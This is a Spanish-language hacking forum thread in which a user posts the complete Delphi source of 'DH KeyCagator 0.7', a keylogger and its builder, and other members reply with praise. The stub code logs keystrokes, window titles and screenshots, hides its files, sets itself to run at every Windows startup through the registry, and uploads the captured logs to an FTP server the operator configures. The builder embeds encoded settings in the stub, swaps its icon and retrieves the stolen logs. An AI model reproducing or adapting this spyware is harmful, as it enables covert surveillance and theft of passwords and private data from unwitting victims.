comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Delphi] DH KeyCagator 0.7

  • 3 Respuestas
  • 2128 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Noviembre 22, 2013, 10:56:06 am »
Al fin logre terminar esta version del DH KeyCagator.

El keylogger tiene las siguientes funciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger


Una imagen :



Los dos codigos :

El generador.

Código: Delphi
  1. // DH KeyCagator 0.7
  2. // (C) Doddy Hackman 2013
  3. // Keylogger Generator
  4. // Icon Changer based in : "IconChanger" By Chokstyle
  5. // Thanks to Chokstyle
  6.  
  7. unit genkey;
  8.  
  9. interface
  10.  
  11. uses
  12.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.   Dialogs, sSkinManager, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, sCheckBox,
  14.   sRadioButton, sComboBox, ComCtrls, sStatusBar, sLabel, sButton, sPageControl,
  15.   jpeg, madRes, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  16.   IdExplicitTLSClientServerBase, IdFTP, ShellApi;
  17.  
  18. type
  19.   TForm1 = class(TForm)
  20.     sSkinManager1: TsSkinManager;
  21.     Image1: TImage;
  22.     sStatusBar1: TsStatusBar;
  23.     sGroupBox8: TsGroupBox;
  24.     sButton1: TsButton;
  25.     sPageControl1: TsPageControl;
  26.     sTabSheet1: TsTabSheet;
  27.     sTabSheet2: TsTabSheet;
  28.     sTabSheet3: TsTabSheet;
  29.     sGroupBox1: TsGroupBox;
  30.     sGroupBox2: TsGroupBox;
  31.     sRadioButton1: TsRadioButton;
  32.     sRadioButton2: TsRadioButton;
  33.     sEdit2: TsEdit;
  34.     sComboBox1: TsComboBox;
  35.     sGroupBox3: TsGroupBox;
  36.     sEdit1: TsEdit;
  37.     sGroupBox4: TsGroupBox;
  38.     sLabel1: TsLabel;
  39.     sCheckBox1: TsCheckBox;
  40.     sEdit3: TsEdit;
  41.     sGroupBox7: TsGroupBox;
  42.     sLabel2: TsLabel;
  43.     sCheckBox2: TsCheckBox;
  44.     sEdit4: TsEdit;
  45.     sGroupBox5: TsGroupBox;
  46.     sLabel3: TsLabel;
  47.     sLabel4: TsLabel;
  48.     sLabel5: TsLabel;
  49.     sLabel6: TsLabel;
  50.     sEdit5: TsEdit;
  51.     sEdit6: TsEdit;
  52.     sEdit7: TsEdit;
  53.     sEdit8: TsEdit;
  54.     sTabSheet4: TsTabSheet;
  55.     sTabSheet5: TsTabSheet;
  56.     sGroupBox6: TsGroupBox;
  57.     Image2: TImage;
  58.     sLabel7: TsLabel;
  59.     sGroupBox9: TsGroupBox;
  60.     sGroupBox10: TsGroupBox;
  61.     sLabel8: TsLabel;
  62.     sLabel9: TsLabel;
  63.     sLabel10: TsLabel;
  64.     sLabel11: TsLabel;
  65.     sEdit9: TsEdit;
  66.     sEdit10: TsEdit;
  67.     sEdit11: TsEdit;
  68.     sEdit12: TsEdit;
  69.     sButton2: TsButton;
  70.     IdFTP1: TIdFTP;
  71.     OpenDialog1: TOpenDialog;
  72.     procedure sButton1Click(Sender: TObject);
  73.     procedure sButton2Click(Sender: TObject);
  74.     procedure FormCreate(Sender: TObject);
  75.   private
  76.     { Private declarations }
  77.   public
  78.     { Public declarations }
  79.   end;
  80.  
  81. var
  82.   Form1: TForm1;
  83.  
  84. implementation
  85.  
  86. {$R *.dfm}
  87. // Functions
  88.  
  89. function dhencode(texto, opcion: string): string;
  90. // Thanks to Taqyon
  91. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  92. var
  93.   num: integer;
  94.   aca: string;
  95.   cantidad: integer;
  96.  
  97. begin
  98.  
  99.   num := 0;
  100.   Result := '';
  101.   aca := '';
  102.   cantidad := 0;
  103.  
  104.   if (opcion = 'encode') then
  105.   begin
  106.     cantidad := length(texto);
  107.     for num := 1 to cantidad do
  108.     begin
  109.       aca := IntToHex(ord(texto[num]), 2);
  110.       Result := Result + aca;
  111.     end;
  112.   end;
  113.  
  114.   if (opcion = 'decode') then
  115.   begin
  116.     cantidad := length(texto);
  117.     for num := 1 to cantidad div 2 do
  118.     begin
  119.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  120.       Result := Result + aca;
  121.     end;
  122.   end;
  123.  
  124. end;
  125.  
  126. //
  127.  
  128. procedure TForm1.FormCreate(Sender: TObject);
  129. begin
  130.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  131.   sSkinManager1.SkinName := 'tv-b';
  132.   sSkinManager1.Active := True;
  133. end;
  134.  
  135. procedure TForm1.sButton1Click(Sender: TObject);
  136. var
  137.   lineafinal: string;
  138.  
  139.   savein_especial: string;
  140.   savein: string;
  141.   foldername: string;
  142.  
  143.   capture_op: string;
  144.   capture_seconds: integer;
  145.  
  146.   ftp_op: string;
  147.   ftp_seconds: integer;
  148.   ftp_host_txt: string;
  149.   ftp_user_txt: string;
  150.   ftp_pass_txt: string;
  151.   ftp_path_txt: string;
  152.  
  153.   aca: THandle;
  154.   code: Array [0 .. 9999 + 1] of Char;
  155.   nose: DWORD;
  156.  
  157.   stubgenerado: string;
  158.   op: string;
  159.   change: DWORD;
  160.   valor: string;
  161.  
  162. begin
  163.  
  164.   if (sRadioButton1.Checked = True) then
  165.  
  166.   begin
  167.  
  168.     savein_especial := '0';
  169.  
  170.     if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  171.     begin
  172.       savein := 'USERPROFILE';
  173.     end
  174.     else
  175.     begin
  176.       savein := sComboBox1.Items[sComboBox1.ItemIndex];
  177.     end;
  178.  
  179.   end;
  180.  
  181.   if (sRadioButton2.Checked = True) then
  182.   begin
  183.     savein_especial := '1';
  184.     savein := sEdit2.Text;
  185.   end;
  186.  
  187.   foldername := sEdit1.Text;
  188.  
  189.   if (sCheckBox1.Checked = True) then
  190.   begin
  191.     capture_op := '1';
  192.   end
  193.   else
  194.   begin
  195.     capture_op := '0';
  196.   end;
  197.  
  198.   capture_seconds := StrToInt(sEdit3.Text) * 1000;
  199.  
  200.   if (sCheckBox2.Checked = True) then
  201.   begin
  202.     ftp_op := '1';
  203.   end
  204.   else
  205.   begin
  206.     ftp_op := '0';
  207.   end;
  208.  
  209.   ftp_seconds := StrToInt(sEdit4.Text) * 1000;
  210.  
  211.   ftp_host_txt := sEdit5.Text;
  212.   ftp_user_txt := sEdit7.Text;
  213.   ftp_pass_txt := sEdit8.Text;
  214.   ftp_path_txt := sEdit6.Text;
  215.  
  216.   lineafinal := '[63686175]' + dhencode
  217.     ('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' +
  218.       '[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op +
  219.       '[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds)
  220.       + '[capture_seconds]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
  221.       '[ftp_seconds]' + IntToStr(ftp_seconds)
  222.       + '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' +
  223.       '[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' +
  224.       ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]',
  225.     'encode') + '[63686175]';
  226.  
  227.   aca := INVALID_HANDLE_VALUE;
  228.   nose := 0;
  229.  
  230.   stubgenerado := 'keycagator_ready.exe';
  231.  
  232.   DeleteFile(stubgenerado);
  233.   CopyFile(PChar(ExtractFilePath(Application.ExeName)
  234.         + '/' + 'Data/keycagator.exe'), PChar
  235.       (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  236.  
  237.   StrCopy(code, PChar(lineafinal));
  238.   aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
  239.     FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  240.   if (aca <> INVALID_HANDLE_VALUE) then
  241.   begin
  242.     SetFilePointer(aca, 0, nil, FILE_END);
  243.     WriteFile(aca, code, 9999, nose, nil);
  244.     CloseHandle(aca);
  245.   end;
  246.  
  247.   op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');
  248.  
  249.   if (op = 'Yes') then
  250.   begin
  251.     OpenDialog1.InitialDir := GetCurrentDir;
  252.     if OpenDialog1.Execute then
  253.     begin
  254.  
  255.       try
  256.         begin
  257.  
  258.           valor := IntToStr(128);
  259.  
  260.           change := BeginUpdateResourceW
  261.             (PWideChar(wideString(ExtractFilePath(Application.ExeName)
  262.                   + '/' + stubgenerado)), False);
  263.           LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  264.             PWideChar(wideString(OpenDialog1.FileName)));
  265.           EndUpdateResourceW(change, False);
  266.           sStatusBar1.Panels[0].Text := '[+] Done ';
  267.           sStatusBar1.Update;
  268.         end;
  269.       except
  270.         begin
  271.           sStatusBar1.Panels[0].Text := '[-] Error';
  272.           sStatusBar1.Update;
  273.         end;
  274.       end;
  275.     end
  276.     else
  277.     begin
  278.       sStatusBar1.Panels[0].Text := '[+] Done ';
  279.       sStatusBar1.Update;
  280.     end;
  281.   end
  282.   else
  283.   begin
  284.     sStatusBar1.Panels[0].Text := '[+] Done ';
  285.     sStatusBar1.Update;
  286.   end;
  287.  
  288. end;
  289.  
  290. procedure TForm1.sButton2Click(Sender: TObject);
  291. var
  292.   i: integer;
  293.   dir: string;
  294.   busqueda: TSearchRec;
  295.  
  296. begin
  297.  
  298.   IdFTP1.Host := sEdit9.Text;
  299.   IdFTP1.Username := sEdit11.Text;
  300.   IdFTP1.Password := sEdit12.Text;
  301.  
  302.   dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';
  303.  
  304.   try
  305.     begin
  306.       FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
  307.       DeleteFile(dir + '\' + busqueda.Name);
  308.       while FindNext(busqueda) = 0 do
  309.       begin
  310.         DeleteFile(dir + '\' + busqueda.Name);
  311.       end;
  312.       FindClose(busqueda);
  313.  
  314.       rmdir(dir);
  315.     end;
  316.   except
  317.     //
  318.   end;
  319.  
  320.   if not(DirectoryExists(dir)) then
  321.   begin
  322.     CreateDir(dir);
  323.   end;
  324.  
  325.   ChDir(dir);
  326.  
  327.   try
  328.     begin
  329.       IdFTP1.Connect;
  330.       IdFTP1.ChangeDir(sEdit10.Text);
  331.  
  332.       IdFTP1.List('*.*', True);
  333.  
  334.       for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
  335.       begin
  336.         IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
  337.           IdFTP1.DirectoryListing.Items[i].FileName, False, False);
  338.       end;
  339.  
  340.       ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);
  341.  
  342.       IdFTP1.Disconnect;
  343.       IdFTP1.Free;
  344.     end;
  345.   except
  346.     //
  347.   end;
  348.  
  349. end;
  350.  
  351. end.
  352.  
  353. // The End ?
  354.  

El stub.

Código: Delphi
  1. // DH KeyCagator 0.7
  2. // (C) Doddy Hackman 2013
  3.  
  4. program keycagator;
  5.  
  6. // {$APPTYPE CONSOLE}
  7.  
  8. uses
  9.   SysUtils, Windows, WinInet, ShellApi;
  10.  
  11. var
  12.   nombrereal: string;
  13.   rutareal: string;
  14.   yalisto: string;
  15.   registro: HKEY;
  16.   dir: string;
  17.   time: integer;
  18.  
  19.   dir_hide: string;
  20.   time_screen: integer;
  21.   time_ftp: integer;
  22.   ftp_host: Pchar;
  23.   ftp_user: Pchar;
  24.   ftp_password: Pchar;
  25.   ftp_dir: Pchar;
  26.  
  27.   carpeta: string;
  28.   directorio: string;
  29.   dir_normal: string;
  30.   dir_especial: string;
  31.   ftp_online: string;
  32.   screen_online: string;
  33.   activado: string;
  34.  
  35.   ob: THandle;
  36.   code: Array [0 .. 9999 + 1] of Char;
  37.   nose: DWORD;
  38.   todo: string;
  39.  
  40.   // Functions
  41.  
  42. function regex(text: String; deaca: String; hastaaca: String): String;
  43. begin
  44.   Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  45.   SetLength(text, AnsiPos(hastaaca, text) - 1);
  46.   Result := text;
  47. end;
  48.  
  49. function dhencode(texto, opcion: string): string;
  50. // Thanks to Taqyon
  51. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  52. var
  53.   num: integer;
  54.   aca: string;
  55.   cantidad: integer;
  56.  
  57. begin
  58.  
  59.   num := 0;
  60.   Result := '';
  61.   aca := '';
  62.   cantidad := 0;
  63.  
  64.   if (opcion = 'encode') then
  65.   begin
  66.     cantidad := Length(texto);
  67.     for num := 1 to cantidad do
  68.     begin
  69.       aca := IntToHex(ord(texto[num]), 2);
  70.       Result := Result + aca;
  71.     end;
  72.   end;
  73.  
  74.   if (opcion = 'decode') then
  75.   begin
  76.     cantidad := Length(texto);
  77.     for num := 1 to cantidad div 2 do
  78.     begin
  79.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  80.       Result := Result + aca;
  81.     end;
  82.   end;
  83.  
  84. end;
  85.  
  86. procedure savefile(filename, texto: string);
  87. var
  88.   ar: TextFile;
  89.  
  90. begin
  91.  
  92.   try
  93.  
  94.     begin
  95.       AssignFile(ar, filename);
  96.       FileMode := fmOpenWrite;
  97.  
  98.       if FileExists(filename) then
  99.         Append(ar)
  100.       else
  101.         Rewrite(ar);
  102.  
  103.       Write(ar, texto);
  104.       CloseFile(ar);
  105.     end;
  106.   except
  107.     //
  108.   end;
  109.  
  110. end;
  111.  
  112. procedure upload_ftpfile(host, username, password, filetoupload,
  113.   conestenombre: Pchar);
  114.  
  115. // Credits :
  116. // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
  117. // Thanks to Omair Iqbal
  118.  
  119. var
  120.   controluno: HINTERNET;
  121.   controldos: HINTERNET;
  122.  
  123. begin
  124.  
  125.   try
  126.  
  127.     begin
  128.       controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  129.       controldos := InternetConnect(controluno, host,
  130.         INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP,
  131.         INTERNET_FLAG_PASSIVE, 0);
  132.       ftpPutFile(controldos, filetoupload, conestenombre,
  133.         FTP_TRANSFER_TYPE_BINARY, 0);
  134.       InternetCloseHandle(controldos);
  135.       InternetCloseHandle(controluno);
  136.     end
  137.   except
  138.     //
  139.   end;
  140.  
  141. end;
  142.  
  143. procedure capturar_pantalla(nombre: string);
  144.  
  145. // Credits :
  146. // Based on : http://www.delphibasics.info/home/delphibasicssnippets/screencapturewithpurewindowsapi
  147. // Thanks to  www.delphibasics.info and n0v4
  148.  
  149. var
  150.  
  151.   uno: integer;
  152.   dos: integer;
  153.   cre: hDC;
  154.   cre2: hDC;
  155.   im: hBitmap;
  156.   archivo: file of byte;
  157.   parriba: TBITMAPFILEHEADER;
  158.   cantidad: pointer;
  159.   data: TBITMAPINFO;
  160.  
  161. begin
  162.  
  163.  
  164.   // Start
  165.  
  166.   cre := getDC(getDeskTopWindow);
  167.   cre2 := createCompatibleDC(cre);
  168.   uno := getDeviceCaps(cre, HORZRES);
  169.   dos := getDeviceCaps(cre, VERTRES);
  170.   zeromemory(@data, sizeOf(data));
  171.  
  172.  
  173.   // Config
  174.  
  175.   with data.bmiHeader do
  176.   begin
  177.     biSize := sizeOf(TBITMAPINFOHEADER);
  178.     biWidth := uno;
  179.     biheight := dos;
  180.     biplanes := 1;
  181.     biBitCount := 24;
  182.  
  183.   end;
  184.  
  185.   with parriba do
  186.   begin
  187.     bfType := ord('B') + (ord('M') shl 8);
  188.     bfSize := sizeOf(TBITMAPFILEHEADER) + sizeOf(TBITMAPINFOHEADER)
  189.       + uno * dos * 3;
  190.     bfOffBits := sizeOf(TBITMAPINFOHEADER);
  191.   end;
  192.  
  193.   //
  194.  
  195.   im := createDIBSection(cre2, data, DIB_RGB_COLORS, cantidad, 0, 0);
  196.   selectObject(cre2, im);
  197.  
  198.   bitblt(cre2, 0, 0, uno, dos, cre, 0, 0, SRCCOPY);
  199.  
  200.   releaseDC(getDeskTopWindow, cre);
  201.  
  202.   // Make Photo
  203.  
  204.   AssignFile(archivo, nombre);
  205.   Rewrite(archivo);
  206.  
  207.   blockWrite(archivo, parriba, sizeOf(TBITMAPFILEHEADER));
  208.   blockWrite(archivo, data.bmiHeader, sizeOf(TBITMAPINFOHEADER));
  209.   blockWrite(archivo, cantidad^, uno * dos * 3);
  210.  
  211. end;
  212.  
  213. procedure capturar_teclas;
  214.  
  215. var
  216.   I: integer;
  217.   Result: Longint;
  218.   mayus: integer;
  219.   shift: integer;
  220.  
  221. const
  222.  
  223.   n_numeros_izquierda: array [1 .. 10] of string =
  224.     ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
  225.  
  226. const
  227.   t_numeros_izquierda: array [1 .. 10] of string =
  228.     ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  229.  
  230. const
  231.   n_numeros_derecha: array [1 .. 10] of string =
  232.     ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
  233.  
  234. const
  235.   t_numeros_derecha: array [1 .. 10] of string =
  236.     ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  237.  
  238. const
  239.   n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
  240.     '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
  241.     '291', '220', '221', '222', '226');
  242.  
  243. const
  244.   t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
  245.     '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
  246.     '|');
  247.  
  248. const
  249.   n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
  250.     '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
  251.     '226');
  252.  
  253. const
  254.   t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
  255.     '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
  256.     ' / ', ' \ \ \ ', ']', '[', '~', '\/');
  257.  
  258. begin
  259.  
  260.   while (1 = 1) do
  261.   begin
  262.  
  263.     Sleep(time); // Time
  264.  
  265.     try
  266.  
  267.       begin
  268.  
  269.         // Others
  270.  
  271.         for I := Low(n_raros) to High(n_raros) do
  272.         begin
  273.           Result := GetAsyncKeyState(StrToInt(n_raros[I]));
  274.           If Result = -32767 then
  275.           begin
  276.             savefile('logs.html', t_raros[I]);
  277.           end;
  278.         end;
  279.  
  280.         // SHIFT
  281.  
  282.         if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  283.         begin
  284.  
  285.           for I := Low(n_shift) to High(n_shift) do
  286.           begin
  287.             Result := GetAsyncKeyState(StrToInt(n_shift[I]));
  288.             If Result = -32767 then
  289.             begin
  290.               savefile('logs.html', t_shift[I]);
  291.             end;
  292.           end;
  293.  
  294.           for I := 65 to 90 do
  295.           begin
  296.             Result := GetAsyncKeyState(I);
  297.             If Result = -32767 then
  298.             Begin
  299.               savefile('logs.html', Chr(I + 0));
  300.             End;
  301.           end;
  302.  
  303.         end;
  304.  
  305.         // Numbers
  306.  
  307.         for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  308.         begin
  309.           Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
  310.           If Result = -32767 then
  311.           begin
  312.             savefile('logs.html', t_numeros_derecha[I]);
  313.           end;
  314.         end;
  315.  
  316.         for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  317.         begin
  318.           Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
  319.           If Result = -32767 then
  320.           begin
  321.             savefile('logs.html', t_numeros_izquierda[I]);
  322.           end;
  323.         end;
  324.  
  325.         // MAYUS
  326.  
  327.         if (GetKeyState(20) = 0) then
  328.         begin
  329.           mayus := 32;
  330.         end
  331.         else
  332.         begin
  333.           mayus := 0;
  334.         end;
  335.  
  336.         for I := 65 to 90 do
  337.         begin
  338.           Result := GetAsyncKeyState(I);
  339.           If Result = -32767 then
  340.           Begin
  341.             savefile('logs.html', Chr(I + mayus));
  342.           End;
  343.         end;
  344.       end;
  345.     except
  346.       //
  347.     end;
  348.  
  349.   end;
  350. end;
  351.  
  352. procedure capturar_ventanas;
  353. var
  354.   ventana1: array [0 .. 255] of Char;
  355.   nombre1: string;
  356.   Nombre2: string; //
  357. begin
  358.   while (1 = 1) do
  359.   begin
  360.  
  361.     try
  362.  
  363.       begin
  364.         Sleep(time); // Time
  365.  
  366.         GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));
  367.  
  368.         nombre1 := ventana1;
  369.  
  370.         if not(nombre1 = Nombre2) then
  371.         begin
  372.           Nombre2 := nombre1;
  373.           savefile('logs.html',
  374.             '<hr style=color:#00FF00><h2><center>' + Nombre2 +
  375.               '</h2></center><br>');
  376.         end;
  377.  
  378.       end;
  379.     except
  380.       //
  381.     end;
  382.   end;
  383.  
  384. end;
  385.  
  386. procedure capturar_pantallas;
  387. var
  388.   generado: string;
  389. begin
  390.   while (1 = 1) do
  391.   begin
  392.  
  393.     Sleep(time_screen);
  394.  
  395.     generado := IntToStr(Random(100)) + '.jpg';
  396.  
  397.     try
  398.  
  399.       begin
  400.         capturar_pantalla(generado);
  401.       end;
  402.     except
  403.       //
  404.     end;
  405.  
  406.     SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);
  407.  
  408.     savefile('logs.html', '<br><br><center><img src=' + generado +
  409.         '></center><br><br>');
  410.  
  411.   end;
  412. end;
  413.  
  414. procedure subirftp;
  415. var
  416.   busqueda: TSearchRec;
  417. begin
  418.   while (1 = 1) do
  419.   begin
  420.  
  421.     try
  422.  
  423.       begin
  424.         Sleep(time_ftp);
  425.  
  426.         upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
  427.             (dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));
  428.  
  429.         FindFirst(dir + '*.jpg', faAnyFile, busqueda);
  430.  
  431.         upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
  432.             (dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
  433.         while FindNext(busqueda) = 0 do
  434.         begin
  435.           upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
  436.               (dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
  437.         end;
  438.       end;
  439.     except
  440.       //
  441.     end;
  442.   end;
  443. end;
  444.  
  445. procedure control;
  446. var
  447.   I: integer;
  448.   re: Longint;
  449. begin
  450.  
  451.   while (1 = 1) do
  452.   begin
  453.  
  454.     try
  455.  
  456.       begin
  457.  
  458.         Sleep(time);
  459.  
  460.         if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  461.         begin
  462.  
  463.           re := GetAsyncKeyState(120);
  464.           If re = -32767 then
  465.           Begin
  466.  
  467.             ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
  468.               SW_SHOWNORMAL);
  469.  
  470.           End;
  471.         end;
  472.       end;
  473.     except
  474.       //
  475.     end;
  476.   End;
  477. end;
  478.  
  479. //
  480.  
  481. begin
  482.  
  483.   try
  484.  
  485.     // Config
  486.  
  487.     try
  488.  
  489.       begin
  490.  
  491.         // Edit
  492.  
  493.         ob := INVALID_HANDLE_VALUE;
  494.         code := '';
  495.  
  496.         ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ,
  497.           nil, OPEN_EXISTING, 0, 0);
  498.         if (ob <> INVALID_HANDLE_VALUE) then
  499.         begin
  500.           SetFilePointer(ob, -9999, nil, FILE_END);
  501.           ReadFile(ob, code, 9999, nose, nil);
  502.           CloseHandle(ob);
  503.         end;
  504.  
  505.         todo := regex(code, '[63686175]', '[63686175]');
  506.         todo := dhencode(todo, 'decode');
  507.  
  508.         dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
  509.         directorio := regex(todo, '[save]', '[save]');
  510.         carpeta := regex(todo, '[folder]', '[folder]');
  511.         screen_online := regex(todo, '[capture_op]', '[capture_op]');
  512.         time_screen := StrToInt(regex(todo, '[capture_seconds]',
  513.             '[capture_seconds]'));
  514.         ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
  515.         time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
  516.         ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
  517.         ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
  518.         ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
  519.         ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
  520.  
  521.         dir_normal := dir_especial;
  522.  
  523.         time := 100; // Not Edit
  524.  
  525.         if (dir_normal = '1') then
  526.         begin
  527.           dir_hide := directorio;
  528.         end
  529.         else
  530.         begin
  531.           dir_hide := GetEnvironmentVariable(directorio) + '/';
  532.         end;
  533.  
  534.         dir := dir_hide + carpeta + '/';
  535.  
  536.         if not(DirectoryExists(dir)) then
  537.         begin
  538.           CreateDir(dir);
  539.         end;
  540.  
  541.         ChDir(dir);
  542.  
  543.         nombrereal := ExtractFileName(paramstr(0));
  544.         rutareal := dir;
  545.         yalisto := dir + nombrereal;
  546.  
  547.         MoveFile(Pchar(paramstr(0)), Pchar(yalisto));
  548.  
  549.         SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);
  550.  
  551.         SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  552.  
  553.         savefile(dir + '/logs.html', '');
  554.  
  555.         SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);
  556.  
  557.         savefile('logs.html',
  558.           '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
  559.  
  560.         RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  561.           'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
  562.           REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
  563.         RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
  564.         RegCloseKey(registro);
  565.       end;
  566.     except
  567.       //
  568.     end;
  569.  
  570.     // End
  571.  
  572.     // Start the party
  573.  
  574.     BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
  575.     BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);
  576.  
  577.     if (screen_online = '1') then
  578.     begin
  579.       BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
  580.     end;
  581.     if (ftp_online = '1') then
  582.     begin
  583.       BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
  584.     end;
  585.  
  586.     BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);
  587.  
  588.     // Readln;
  589.  
  590.     while (1 = 1) do
  591.       Sleep(time);
  592.  
  593.   except
  594.     //
  595.   end;
  596.  
  597. end.
  598.  
  599. // The End ?
  600.  

Si lo quieren bajar lo pueden hacer de aca.

Desconectado alexander1712

  • *
  • Underc0der
  • Mensajes: 850
  • Actividad:
    0%
  • Reputación -2
    • Ver Perfil
    • El blog del programador
    • Email
« Respuesta #1 en: Noviembre 22, 2013, 01:54:04 pm »
muy bueno, gracias por publicarlo.

saludos!

Desconectado ingushmen

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Noviembre 25, 2013, 06:38:45 am »
Nice) It is realy Delphi coding?

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« Respuesta #3 en: Noviembre 25, 2013, 10:34:25 am »
Nice) It is realy Delphi coding?

Si, es delphi.



Esta bastante bien doddy, felicidades :)

 

¿Te gustó el post? COMPARTILO!



Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3244
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2041
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3474
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
[Delphi] Creacion de un Server Builder con recursos

Iniciado por BigBear

Respuestas: 1
Vistas: 1476
Último mensaje Marzo 09, 2015, 07:56:20 pm
por Flemon
Poner splash screen con progress bar en delphi

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2968
Último mensaje Febrero 24, 2010, 04:54:23 pm
por ANTRAX